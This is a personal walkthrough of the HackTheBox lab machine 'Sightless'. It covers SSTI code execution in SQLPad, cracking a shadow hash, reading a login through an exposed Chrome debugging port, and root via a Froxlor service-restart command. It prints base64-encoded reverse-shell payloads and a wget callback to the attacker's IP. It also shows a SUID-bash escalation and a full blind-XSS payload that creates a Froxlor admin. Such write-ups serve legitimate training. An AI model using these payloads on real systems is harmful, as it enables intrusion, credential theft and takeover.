Summary
A potentially devious easy box with some interesting attack vectors and more reasons to hate Chrome. To start a subdomain referenced on the front page of port 80 can be exploited by SSTI when creating a new connection. Docker root is then used to crack a shadow hash for user as Michael. The debugging port of chrome allows for the reading of requests sent during a login to an admin portal, giving the password. That service can then be used to change a restart command for a service to run arbitrary code and achieve root.
Enumeration
rustscan 10.129.16.176
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.129.16.176:21
Open 10.129.16.176:22
Open 10.129.16.176:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -vvv -p 21,22,80 10.129.16.176
Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-09 22:22 UTC
Initiating Ping Scan at 22:22
Scanning 10.129.16.176 [2 ports]
Completed Ping Scan at 22:22, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:22
Completed Parallel DNS resolution of 1 host. at 22:22, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 22:22
Scanning 10.129.16.176 [3 ports]
Discovered open port 80/tcp on 10.129.16.176
Discovered open port 22/tcp on 10.129.16.176
Discovered open port 21/tcp on 10.129.16.176
Completed Connect Scan at 22:22, 0.06s elapsed (3 total ports)
Nmap scan report for 10.129.16.176
Host is up, received syn-ack (0.073s latency).
Scanned at 2024-09-09 22:22:57 UTC for 1s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
nmap -sCV -p21,22,80 10.129.16.176
Starting Nmap 7.92 ( https://nmap.org ) at 2024-09-09 17:23 CDT
Nmap scan report for 10.129.16.176
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.16.176]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=9/9%Time=66DF7572%P=x86_64-pc-linux-gnu%r(Gener
SF:icLines,A2,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20Serv
SF:er\)\x20\[::ffff:10\.129\.16\.176\]\r\n500\x20Invalid\x20command:\x20tr
SF:y\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x20
SF:being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.76 seconds
Port 21
ftp sightless.htb
Connected to sightless.htb.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.178.80]
Name (sightless.htb:raccoon):
550 SSL/TLS required on the control channel
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
Port 80
No results from subdomain or directory scan. There is a button here to head to an sqlpad demo page heading to sqlpad.sightless.htb, so I’ll add that and sightless.htb to my /etc/hosts file.
sqlpad.sightless.htb
dirsearch -u http://sqlpad.sightless.htb --recursive
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/6_Season/Sightless/reports/http_sqlpad.sightless.htb/_24-09-09_22-59-51.txt
Target: http://sqlpad.sightless.htb/
[22:59:51] Starting:
[23:00:22] 404 - 21B - /api/2/explore/
[23:00:22] 404 - 21B - /api/
[23:00:22] 404 - 21B - /api/2/issue/createmeta
[23:00:22] 404 - 21B - /api
[23:00:22] 404 - 21B - /api/api
[23:00:22] 404 - 21B - /api/api-docs
[23:00:22] 404 - 21B - /api/apidocs
[23:00:22] 404 - 21B - /api/cask/graphql
[23:00:22] 404 - 21B - /api/_swagger_/
[23:00:22] 404 - 21B - /api/docs/
[23:00:22] 404 - 21B - /api/index.html
[23:00:22] 404 - 21B - /api/jsonws/invoke
[23:00:22] 404 - 21B - /api/application.wadl
[23:00:23] 404 - 21B - /api/package_search/v4/documentation
[23:00:22] 404 - 21B - /api/config
[23:00:23] 404 - 21B - /api/snapshots
[23:00:22] 404 - 21B - /api/apidocs/swagger.json
[23:00:22] 404 - 21B - /api/jsonws
[23:00:22] 404 - 21B - /api/batch
[23:00:23] 404 - 21B - /api/profile
[23:00:23] 404 - 21B - /api/swagger.yml
[23:00:23] 404 - 21B - /api/swagger/index.html
[23:00:23] 404 - 21B - /api/swagger/swagger
[23:00:23] 404 - 21B - /api/spec/swagger.json
[23:00:22] 404 - 21B - /api/error_log
[23:00:23] 404 - 21B - /api/swagger
[23:00:23] 404 - 21B - /api/swagger.json
[23:00:23] 404 - 21B - /api/login.json
[23:00:23] 404 - 21B - /api/v1/swagger.json
[23:00:22] 404 - 21B - /api/__swagger__/
[23:00:23] 404 - 21B - /api/swagger/ui/index
[23:00:23] 404 - 21B - /api/v2/
[23:00:23] 404 - 21B - /api/v1
[23:00:23] 404 - 21B - /api/proxy
[23:00:23] 404 - 21B - /api/v2/swagger.yaml
[23:00:22] 404 - 21B - /api/docs
[23:00:23] 404 - 21B - /api/timelion/run
[23:00:23] 404 - 21B - /api/version
[23:00:23] 404 - 21B - /api/v2/helpdesk/discover
[23:00:23] 404 - 21B - /api/swagger.yaml
[23:00:23] 404 - 21B - /api/v4
[23:00:23] 404 - 21B - /api/swagger-ui.html
[23:00:23] 404 - 21B - /api/v1/
[23:00:23] 404 - 21B - /api/swagger/static/index.html
[23:00:23] 404 - 21B - /api/whoami
[23:00:23] 404 - 21B - /api/vendor/phpunit/phpunit/phpunit
[23:00:23] 404 - 21B - /api/v2/swagger.json
[23:00:23] 404 - 21B - /api/v2
[23:00:23] 404 - 21B - /api/v3
[23:00:23] 404 - 21B - /api/v1/swagger.yaml
[23:00:25] 301 - 179B - /assets -> /assets/
Added to the queue: assets/
[23:00:41] 200 - 10KB - /favicon.ico
[23:00:55] 200 - 297B - /manifest.json
[23:01:30] Starting: assets/
Task Completed
Well I suppose I can check that api independently instead of letting this run with that many 404s.
dirsearch -u http://sqlpad.sightless.htb/api
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/6_Season/Sightless/reports/http_sqlpad.sightless.htb/_api_24-09-09_23-11-13.txt
Target: http://sqlpad.sightless.htb/
[23:11:13] Starting: api/
[23:11:37] 200 - 473B - /api/app
[23:11:37] 200 - 473B - /api/app/
[23:11:45] 200 - 327B - /api/Connections
[23:11:45] 200 - 327B - /api/connections
[23:12:20] 200 - 9B - /api/signout
[23:12:20] 200 - 9B - /api/signout/
[23:12:25] 200 - 2B - /api/tags
[23:12:31] 200 - 456B - /api/users
[23:12:31] 200 - 2B - /api/users/admin
[23:12:31] 200 - 2B - /api/users/login
[23:12:31] 200 - 2B - /api/users/login.aspx
[23:12:31] 200 - 456B - /api/users/
[23:12:31] 200 - 2B - /api/users/admin.php
[23:12:31] 200 - 2B - /api/users/login.jsp
[23:12:31] 200 - 2B - /api/users/login.js
[23:12:31] 200 - 2B - /api/users/login.php
[23:12:31] 200 - 2B - /api/users/login.html
Task Completed
When making a new connection there are 3 GET requests sent out, /api/tags /api/connections and /api/drivers, I snagged the json being sent in the POST to /api/connections when making a new connection.
POST /api/connections HTTP/1.1
Host: sqlpad.sightless.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://sqlpad.sightless.htb/queries/new
Content-Type: application/json
Cache-Control: no-cache
Expires: -1
Pragma: no-cache
Origin: http://sqlpad.sightless.htb
Content-Length: 262
DNT: 1
Connection: close
{"name":"aaaa","driver":"mysql","data":{"host":"127.0.0.1","database":"aaa","username":"aaa","password":"aaa","mysqlCert":"aa","mysqlKey":"aa","mysqlCA":"aa","preQueryStatements":"aaaa","mysqlInsecureAuth":true},"idleTimeoutMinutes":"5","idleTimeoutSeconds":300}
But at no point do I see a login or an interaction with /users, so I opt to curl it myself and check the results.
curl http://sqlpad.sightless.htb/api/users
[{"id":"da9a25f7-588c-40f5-89db-58fbebab591f","name":null,"email":"admin@sightless.htb","ldapId":null,"role":"admin","disabled":false,"signupAt":null,"createdAt":"2024-05-15T04:48:09.377Z","updatedAt":"2024-05-15T18:16:54.652Z"},{"id":"26113beb-60eb-4a58-81eb-2318e27eb3bf","name":null,"email":"john@sightless.htb","ldapId":null,"role":"editor","disabled":null,"signupAt":null,"createdAt":"2024-05-15T12:29:23.725Z","updatedAt":"2024-05-15T12:29:27.257Z"}]
No juicy or useful info here for now.
User as michael
SSTI
In searching around for sqlpad vulnerabilities I did come across an RCE poc through SSTI: https://github.com/Philip-Otter/CVE-2022-0944_RCE_Automation. The original post was https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb where it was found that the Database name field was vulnerable to SSTI. I place the payload in and try to call back to an httpserver but get no results.
Not the end of the world I will encode a payload with base64 and try to run it.
{{ process.mainModule.require('child_process').exec('echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNTYgNzc3NyA+L3RtcC9m" | base64 -d | bash') }}
Still not working for some reason, I decide to use that poc from earlier and run the script.
python3 exploit.py -c "wget http://10.10.14.56:8081/ssti_test" http://sqlpad.sightless.htb 10.10.14.56
[SENDER] STARTING
httpserver
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.178.80 - - [09/Sep/2024 23:45:52] code 404, message File not found
10.129.178.80 - - [09/Sep/2024 23:45:52] "GET /ssti_test HTTP/1.1" 404 -
10.129.178.80 - - [09/Sep/2024 23:45:52] code 404, message File not found
10.129.178.80 - - [09/Sep/2024 23:45:52] "GET /ssti_test HTTP/1.1" 404 -
Okay something I was doing was not correct. Perhaps the two types of quotes I was using broke the application logic.
python3 exploit.py -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Ni83Nzc3IDA+JjE= | base64 -d | bash" http://sqlpad.sightless.htb 10.10.14.56
[SENDER] STARTING
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.129.178.80 34916
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
id
uid=0(root) gid=0(root) groups=0(root)
/etc/shadow
The linpeas scan I ran found an interesting debug port active. I’ve seen these in other boxes and they are generally red herrings or rabbit holes. That said, this box is the rare exception to that as we will see in a moment.
2874 bashlinpeas.sh
2873 sed-Es,gdm-password|gnome-keyring-daemon[0m|lightdm|vsftpd|apache2|sshd:,&,
2871 seds,knockd|splunk,&,
2870 sed-Es,jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port,&,g
2869 seds,root,&,
2868 seds,root,&,
As root I can read /etc/shadow, normally inside of docker containers this root password is random and useless to try and crack, but here we see a user has in fact setup an account inside of this container.
root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
john hash --wordlist=/opt/wordlists/rockyou.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
insaneclownposse (?)
1g 0:00:00:22 DONE (2024-09-10 00:07) 0.04401g/s 2580p/s 2580c/s 2580C/s kruimel..galati
Use the "--show" option to display all of the cracked passwords reliably
Session completed
ssh michael@sightless.htb
The authenticity of host 'sightless.htb (10.129.178.80)' can't be established.
ECDSA key fingerprint is SHA256:6Th9DEMTEEexziNdvX2NPoVqYgfy0tKfU7N+V1IVVoM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'sightless.htb,10.129.178.80' (ECDSA) to the list of known hosts.
michael@sightless.htb's password:
Last login: Tue Sep 3 11:52:02 2024 from 10.10.14.23
michael@sightless:~$ cat user.txt
f1324e21fcd53-------------------
Root
enum
michael@sightless:~$ groups
michael
michael@sightless:~$ ls /home
john michael
michael@sightless:~$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)
michael@sightless:~$ find / -user john 2>/dev/null
/tmp/.org.chromium.Chromium.xdeXQg
/tmp/.org.chromium.Chromium.BniGOC
/tmp/Crashpad
/home/john
/proc/1173
/proc/1173/task
/proc/1173/task/1173
...
michael@sightless:~$ sudo -l
[sudo] password for michael:
Sorry, user michael may not run sudo on sightless.
When running ps I did not see many processes worth investigating, but linpeas gave another story:
john 1174 0.0 0.0 2892 1008 ? Ss Sep09 0:00 | _ /bin/sh -c sleep 140 && /home/john/automation/healthcheck.sh
john 1644 0.0 0.0 7372 3388 ? S Sep09 0:00 | _ /bin/bash /home/john/automation/healthcheck.sh
john 31116 0.0 0.0 5772 1012 ? S 05:13 0:00 | _ sleep 60
root 1146 0.0 0.1 10344 4196 ? S Sep09 0:00 _ /usr/sbin/CRON -f -P
john 1173 0.0 0.0 2892 1008 ? Ss Sep09 0:00 _ /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
john 1556 0.0 0.6 33660 24716 ? S Sep09 0:33 _ /usr/bin/python3 /home/john/automation/administration.py
john 1557 0.4 0.3 33630172 15176 ? Sl Sep09 3:00 _ /home/john/automation/chromedriver --port=33157
john 1568 0.7 2.8 34011320 114148 ? Sl Sep09 5:12 | _ /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.BniGOC data:,
john 1574 0.0 1.4 34112452 56040 ? S Sep09 0:00 | _ /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1570 --enable-crash-reporter
john 1591 0.6 3.0 34363116 122128 ? Sl Sep09 4:32 | | _ /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1570 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie
john 1575 0.0 1.4 34112456 56484 ? S Sep09 0:00 | _ /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1570 --enable-crash-reporter
john 1620 3.3 5.1 1186800244 205588 ? Sl Sep09 24:23 | | _ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1570 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1725901239943841 --launc
john 1592 0.1 2.1 33900068 86416 ? Sl Sep09 1:13 | _ /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1570 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,5159846673518076345,16686984776770167933,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter
This is that chrome debugging port I was referencing earlier. We’ll come back to this after determining what use it would be to have access to a chrome session.
michael@sightless:~$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:36847 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33157 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43293 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
From linpeas the config files for sites were read, in there we found additional subdomains of admin.sightless.htb and web1.sightless.htb. Now I will curl each of those ports to find the output and identify which ones are webservers.
michael@sightless:~$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SQLPad</title>
<link rel="shortcut icon" href="/favicon.ico">
<!-- tauCharts css must be in a known path we can ref for image exports -->
<link rel="stylesheet" href="/javascripts/vendor/tauCharts/tauCharts.min.css" type="text/css" />
<script type="module" crossorigin src="/assets/index.33f5cd02.js"></script>
<link rel="modulepreload" href="/assets/vendor.b5473de5.js">
<link rel="stylesheet" href="/assets/index.96304ac6.css">
</head>
<body class="sans-serif">
<div id="root"></div>
</body>
</html>michael@sightless:~$
michael@sightless:~$ curl 127.0.0.1:8080
<!DOCTYPE html>
<html lang="en" data-bs-theme="light">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="noindex, nofollow, noarchive"/>
<meta name="googlebot" content="nosnippet"/>
<link rel="icon" type="image/x-icon" href="templates/Froxlor/assets/img/icon.png">
<meta name="csrf-token" content="acb33a12241a95cd9eb591809a6bd4de5a28d185" />
<!-- Assets -->
<link rel="stylesheet" href="templates/Froxlor/build/assets/app-61450a15.css">
<script src="templates/Froxlor/build/assets/app-67d6acee.js" type="module"></script>
<title>Froxlor</title>
</head>
<body id="app" class="min-vh-100 d-flex flex-column">
<div class="container-fluid">
<div class="container">
<div class="row justify-content-center">
<form class="col-12 max-w-420 d-flex flex-column" method="post" enctype="application/x-www-form-urlencoded">
<img class="align-self-center my-5" src="templates/Froxlor/assets/img/logo.png" alt="Froxlor Server Management Panel"/>
<div class="card shadow">
<div class="card-body">
<h5 class="card-title">Login</h5>
<p>Please log in to access your account.</p>
<div class="mb-3">
<label for="loginname" class="col-form-label">Username</label>
<input class="form-control" type="text" name="loginname" id="loginname" value="" required autofocus/>
</div>
<div class="mb-3">
<label for="password" class="col-form-label">Password</label>
<input class="form-control" type="password" name="password" id="password" value="" required/>
</div>
</div>
<div class="card-body d-grid gap-2">
<button class="btn btn-primary" type="submit" name="dologin">Login</button>
</div>
<div class="card-footer">
<a class="card-link text-body-secondary" href="index.php?action=forgotpwd">Forgot your password?</a>
</div>
</div>
</form>
</div>
</div>
<footer class="text-center mb-3">
<span>
<img src="templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
© 2009-2024 by <a href="https://www.froxlor.org/" rel="external" target="_blank">the froxlor team</a><br>
</span>
</footer>
</div>
</body>
</html>
admin.sightless.htb
I’ll ssh tunnel that port 8080 to my machine and see more clearly what this Froxlor login can yield.
ssh michael@sightless.htb -L 8080:localhost:8080
michael@sightless.htb's password:
Last login: Tue Sep 10 05:08:04 2024 from 10.10.14.56
michael@sightless:~$
Except that isn’t something I will do. The config files specified these ports are only accessible through certain domain names despite being localhost only. To get around this I can add 127.0.0.1 admin.sightless.htb
to my /etc/hosts file to redirect the request for that domain to localhost then head to http://admin.sightless.htb:8080/.
No vulnerable version no SQLi. The password to this is somewhere else.
Chrome devtools
In the HTB Sea box I inspected one of these debugging ports to no additional info, but that did give me an idea of how to inspect sessions. Firstly here I need to know which port is the debugging port, and the easiest way to determine this is to curl each one and attempt to GET /json.
michael@sightless:~$ curl http://localhost:36847/json
[ {
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:36847/devtools/page/1054568C0F21543EFB1C108FEF06E0CC",
"id": "1054568C0F21543EFB1C108FEF06E0CC",
"title": "Froxlor",
"type": "page",
"url": "http://admin.sightless.htb:8080/admin_logger.php?page=log",
"webSocketDebuggerUrl": "ws://localhost:36847/devtools/page/1054568C0F21543EFB1C108FEF06E0CC"
} ]
michael@sightless:~$ curl http://localhost:33157/json
{"value":{"error":"unknown command","message":"unknown command: unknown command: json","stacktrace":"#0 0x560411f1ae43 \u003Cunknown>\n#1 0x560411c094e7 \u003Cunknown>\n#2 0x560411c706b2 \u003Cunknown>\n#3 0x560411c7018f \u003Cunknown>\n#4 0x560411bd5a18 \u003Cunknown>\n#5 0x560411edf16b \u003Cunknown>\n#6 0x560411ee30bb \u003Cunknown>\n#7 0x560411ecb281 \u003Cunknown>\n#8 0x560411ee3c22 \u003Cunknown>\n#9 0x560411eb013f \u003Cunknown>\n#10 0x560411bd4027 \u003Cunknown>\n#11 0x7f07af6d3d90 \u003Cunknown>\n"}}
michael@sightless:~$ curl http://localhost:43293/json
404: Page Not Found
michael@sightless:~$ curl http://localhost:33060/json
curl: (1) Received HTTP/0.9 when not allowed
Port 36847 gave the expected response. Next I ssh tunnel this port and open chrome, head to chrome://inspect/#devices and configure localhost:36487 under network target. We should then see all available sessions and have the option to inspect and even take over the session.
The box here is configured to continually login and logout. I can’t take over the session and meaningfully enumerate given the short time the account stays logged in. The tool at our disposal is inspect element, which can read the POST request data being sent for the login. It took a couple tries to screenshot but I got the password.
Froxlor
Somewhere here in this admin dashboard I have RCE, it’s only a matter of finding where. There are php configuration tabs and I bet somewhere in there is my target.
I find some disabled functions in the configuration for php, if I have an exploit that is throwing out errors I’ll return here but for now I won’t touch it. I test some file uploads and it seems something forces json structured files.
Now I tested if https://github.com/mhaskar/CVE-2023-0315 would work before trying to find the version number. The exploit here was the log file could be defined as a rendering engine file, and through renaming something a log would be created in that rendering file containing code to be run when the file was loaded. It didn’t work.
That version has no known critical or high level vulnerabilities. Back onto trying to find where in this dashboard I can execute or upload code.
I looked around the config file for any option that might execute code reliably, there were a few such as the mail sending config option and some service restart commands. That did give me an idea to check the php-fpm restart command in the dashboard, found at http://admin.sightless.htb:8080/admin_phpsettings.php?page=fpmdaemons.
I insert changing /bin/bash to an SUID so I can run it as root and get a root prompt. When checking the file it seems it was already an SUID, though as a proof of concept the php-fpm service can be disabled and re-enabled from the site which would trigger this code. I initially tried a payload of cp /bin/bash /tmp/bash && chmod u+s /tmp/bash
but an error gave me the impression + and & were not smiled upon by the backend code.
michael@sightless:~$ ls -l /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14 11:31 /bin/bash
michael@sightless:~$ /bin/bash -p
bash-5.1# cd /root
bash-5.1# cat root.txt
1ff7652ae4c84-------------------
Beyond Root
Froxlor Blind XSS
The chrome debugger was not the intended avenue for getting a login to the Froxlor application. In fact there is a blind XSS that is to be used. https://github.com/froxlor/Froxlor/security/advisories/GHSA-x525-54hf-xr53 is the reference to it. The payload in question is below.
admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//demo.froxlor.org/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}
Decoded it is:
admin{{$emit.constructor`function b(){var metaTag=document.querySelector('meta[name="csrf-token"]')
var csrfToken=metaTag.getAttribute('content')
var xhr=new XMLHttpRequest()
var url="https://demo.froxlor.org/admin_admins.php"
var params="new_loginname=abcd&admin_password=Abcd@@1234&admin_password_suggestion=mgphdKecOu&def_language=en&api_allowed=0&api_allowed=1&name=Abcd&email=yldrmtest@gmail.com&custom_notes=&custom_notes_show=0&ipaddress=-1&change_serversettings=0&change_serversettings=1&customers=0&customers_ul=1&customers_see_all=0&customers_see_all=1&domains=0&domains_ul=1&caneditphpsettings=0&caneditphpsettings=1&diskspace=0&diskspace_ul=1&traffic=0&traffic_ul=1&subdomains=0&subdomains_ul=1&emails=0&emails_ul=1&email_accounts=0&email_accounts_ul=1&email_forwarders=0&email_forwarders_ul=1&ftps=0&ftps_ul=1&mysqls=0&mysqls_ul=1&csrf_token=" csrfToken "&page=admins&action=add&send=send"
xhr.open("POST",url,true)
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")
alert("Your Froxlor Application has been completely Hacked")
xhr.send(params)}
a=b()`()}}
Change the url to the relevant url, ie admin.sightless.htb:8080, and as mentioned in the advisory place the recoded payload into the loginname parameter on login and it will create an admin user. Username is abcd
and the password of the new user is Abcd@@1234
. This is the intended way to get onto the Froxlor application, and the debugger in theory is being run to automate the admin checking the admin portal for the XSS to detonate.
FTP
Next if you check the customers tab we can see John Thompson has a username of web1, and we can change web1’s password after clicking on the name and heading to FTP -> Accounts. Use the options to change the password and FTP into it with web1:youpass
.
Inside of FTP you will find a password backup file at /goaccess/backup/Database.kdb and using get Database.kdb
retrieves it. Next run keepass2john
and run john or hashcat to crash the hash. Then run the following:
kpcli -kdb Database.kdb
find .
show /General/sightless.htb/Backup/ssh -f
attach /General/sightless.htb/Backup/ssh
dos2unix id_rsa
ssh -i id_rsa root@sightless.htb